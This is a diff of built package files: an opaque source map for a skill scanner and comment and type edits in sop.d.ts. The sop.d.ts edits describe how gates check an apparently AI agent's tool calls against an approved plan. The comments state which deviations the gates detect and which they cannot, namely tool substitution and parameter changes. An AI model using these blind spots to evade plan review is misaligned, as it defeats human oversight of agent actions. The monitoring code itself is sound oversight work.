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"}
+{"version":3,"file":"skillScan.js","sourceRoot":"","sources":["../src/skillScan.ts"],"names":[],"mappings":"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"}

package/dist/sop.d.ts

@@ -5,7 +5,7 @@
  * SOP proof tree structures used by the SSL (Self-Supervised Learning)
  * synthesis pipeline.
  *
- * HLD §3.4 (SOP Registry), LLD 01-data-architecture §3.1, LLD #6
+ * HLD §3.4 (SOP Registry)
  *
  * @module
  */
@@ -89,7 +89,7 @@ export type SslCompileState = 'compiled' | 'stale' | 'uncompiled';
 /**
  * The typed shape of `sop_registry.provenance` (jsonb).
  *
- * Before LLD #71 the column carried exactly one key, `stale`, written by the
+ * Before policy guardrails the column carried exactly one key, `stale`, written by the
  * connector sync and the SOP service when an SSL recompile failed and the
  * previous good graph was kept, and read by `sopLifecycleService.ts`'s
  * REFINED → VALIDATED gate. That contract is unchanged: the gate reads only
@@ -240,7 +240,7 @@ export interface SopHealthMetrics {
 /**
  * A queued item in the Dream Cycle processing pipeline.
  *
- * Items originate from capability misses (LLD #5), decision mining
+ * Items originate from capability misses, decision mining
  * entries, or drift signals. Phase 1: queue management only.
  * Phase 3: LLM synthesis consumes the queue.
  *
@@ -289,7 +289,7 @@ export interface DreamCycleEnqueueInput {
  * Result of a Gödel completeness probe evaluation.
  *
  * Evaluates a SOP against the 13-category quality rubric (HLD §3.7).
- * Distinct from the 12-category runtime anomaly taxonomy (LLD #5).
+ * Distinct from the 12-category runtime anomaly taxonomy.
  *
  * @see HLD §3.7 — Gödel Completeness Probe
  */
@@ -357,7 +357,7 @@ export declare const VALID_SOP_TRANSITIONS: ReadonlyArray<{
  * in the UI at the moment someone changes a state, and it must describe the
  * system rather than the design.
  *
- * ## History (TD-277)
+ * ## History
  *
  * This value has been wrong in both directions. It first said
  * `HYPOTHESIZED: 'SHADOW'` and `REFINED: 'SHADOW'` while nothing evaluated
@@ -414,8 +414,19 @@ export interface AntiGamingResult {
     requiresElevatedApproval: boolean;
     impactSummary: string;
 }
-/** Deviation types during plan execution. */
-export type DeviationType = 'TOOL_SUBSTITUTION' | 'STEP_SKIP' | 'STEP_REORDER' | 'EXTRA_STEP' | 'PARAMETER_DRIFT';
+/**
+ * Deviation types during plan execution, as the gates observe them against the
+ * plan's tool-naming steps (`tool` or `toolName`):
+ *
+ * - `STEP_SKIP`    — a later planned step ran while this one had not.
+ * - `STEP_REORDER` — a step that was skipped ran after all, out of order.
+ * - `EXTRA_STEP`   — a tool the plan never names ran, or was attempted and blocked.
+ *
+ * Substituting one tool for another and changing a tool's parameters are not
+ * types: a substitution is indistinguishable from an extra step plus a skip
+ * until the run ends, and plan steps carry no parameters to compare against.
+ */
+export type DeviationType = 'STEP_SKIP' | 'STEP_REORDER' | 'EXTRA_STEP';
 /** A single deviation from a stored plan. */
 export interface PlanDeviation {
     stepIndex: number;
@@ -438,10 +449,12 @@ export interface PlanAdherenceScore {
  * The valid lifecycle transitions for a stored plan.
  *
  * REJECTED is reachable only from PENDING_APPROVAL — a plan denied before
- * execution ever starts. COMPLETED (via a closure action) is reachable
- * from every non-terminal state, since a plan can be closed with or
- * without ever having been formally approved, and with or without a
- * deviation ever having flipped it to EXECUTING.
+ * execution ever starts. EXECUTING is reachable only from APPROVED, when the
+ * gates observe the first tool call after approval; a plan whose session runs
+ * before approval stays PENDING_APPROVAL, so a reviewer can still decide it.
+ * COMPLETED (via a closure action) is reachable from every non-terminal
+ * state, since a plan can be closed with or without ever having been
+ * formally approved or observed running.
  *
  * @see HLD §3.4.1 — Stored plan compliance trail
  */

package/dist/sop.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"sop.d.ts","sourceRoot":"","sources":["../src/sop.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AAEH,OAAO,KAAK,EACV,oBAAoB,EACpB,cAAc,EACd,SAAS,EACT,iBAAiB,EACjB,kBAAkB,EAClB,oBAAoB,EACrB,MAAM,YAAY,CAAA;AAInB;;;;;;;;GAQG;AACH,MAAM,WAAW,GAAG;IAClB,6CAA6C;IAC7C,KAAK,EAAE,MAAM,CAAA;IAEb,0DAA0D;IAC1D,WAAW,EAAE,MAAM,CAAA;IAEnB,uCAAuC;IACvC,KAAK,EAAE,MAAM,CAAA;IAEb,+CAA+C;IAC/C,OAAO,EAAE,MAAM,CAAA;IAEf,+DAA+D;IAC/D,eAAe,EAAE,MAAM,CAAA;IAEvB,+CAA+C;IAC/C,QAAQ,EAAE,SAAS,CAAA;IAEnB,wCAAwC;IACxC,cAAc,EAAE,cAAc,CAAA;IAE9B,oDAAoD;IACpD,QAAQ,EAAE,OAAO,CAAA;IAEjB,+BAA+B;IAC/B,cAAc,EAAE,iBAAiB,CAAA;IAEjC,oCAAoC;IACpC,SAAS,CAAC,EAAE,MAAM,CAAA;IAElB,oCAAoC;IACpC,SAAS,CAAC,EAAE,MAAM,CAAA;IAElB,iDAAiD;IACjD,WAAW,CAAC,EAAE,MAAM,CAAA;IAEpB,4CAA4C;IAC5C,YAAY,CAAC,EAAE,MAAM,EAAE,CAAA;IAEvB,sDAAsD;IACtD,SAAS,CAAC,EAAE,MAAM,CAAA;IAElB,yCAAyC;IACzC,WAAW,CAAC,EAAE,MAAM,CAAA;IAEpB,2CAA2C;IAC3C,UAAU,CAAC,EAAE,MAAM,CAAA;IAEnB,8CAA8C;IAC9C,cAAc,CAAC,EAAE,MAAM,CAAA;IAEvB;;;;OAIG;IACH,iBAAiB,CAAC,EAAE,MAAM,CAAA;IAE1B,oEAAoE;IACpE,gBAAgB,CAAC,EAAE,MAAM,CAAA;IAEzB;;;;OAIG;IACH,cAAc,CAAC,EAAE,MAAM,CAAA;IAEvB,uEAAuE;IACvE,iBAAiB,CAAC,EAAE,MAAM,CAAA;IAE1B;;;OAGG;IACH,UAAU,CAAC,EAAE,aAAa,CAAA;IAE1B;;;;;;;OAOG;IACH,eAAe,CAAC,EAAE,eAAe,CAAA;CAClC;AAED,MAAM,MAAM,eAAe,GAAG,UAAU,GAAG,OAAO,GAAG,YAAY,CAAA;AAEjE;;;;;;;;;;;;;;GAcG;AACH,MAAM,WAAW,aAAa;IAC5B,2EAA2E;IAC3E,KAAK,CAAC,EAAE,OAAO,CAAA;IACf;;;;OAIG;IACH,eAAe,CAAC,EAAE,OAAO,CAAA;IACzB,MAAM,CAAC,EAAE,mBAAmB,CAAA;CAC7B;AAED,kDAAkD;AAClD,MAAM,WAAW,mBAAmB;IAClC,iDAAiD;IACjD,QAAQ,EAAE,MAAM,CAAA;IAChB,wCAAwC;IACxC,KAAK,EAAE,MAAM,CAAA;IACb,0FAA0F;IAC1F,UAAU,EAAE,MAAM,CAAA;IAClB,uFAAuF;IACvF,SAAS,EAAE,MAAM,GAAG,IAAI,CAAA;IACxB,qHAAqH;IACrH,eAAe,EAAE,MAAM,GAAG,IAAI,CAAA;IAC9B,+FAA+F;IAC/F,WAAW,EAAE,MAAM,CAAA;IACnB,0DAA0D;IAC1D,SAAS,EAAE,MAAM,CAAA;CAClB;AAID;;;;;;;;GAQG;AACH,MAAM,WAAW,YAAY;IAC3B,8CAA8C;I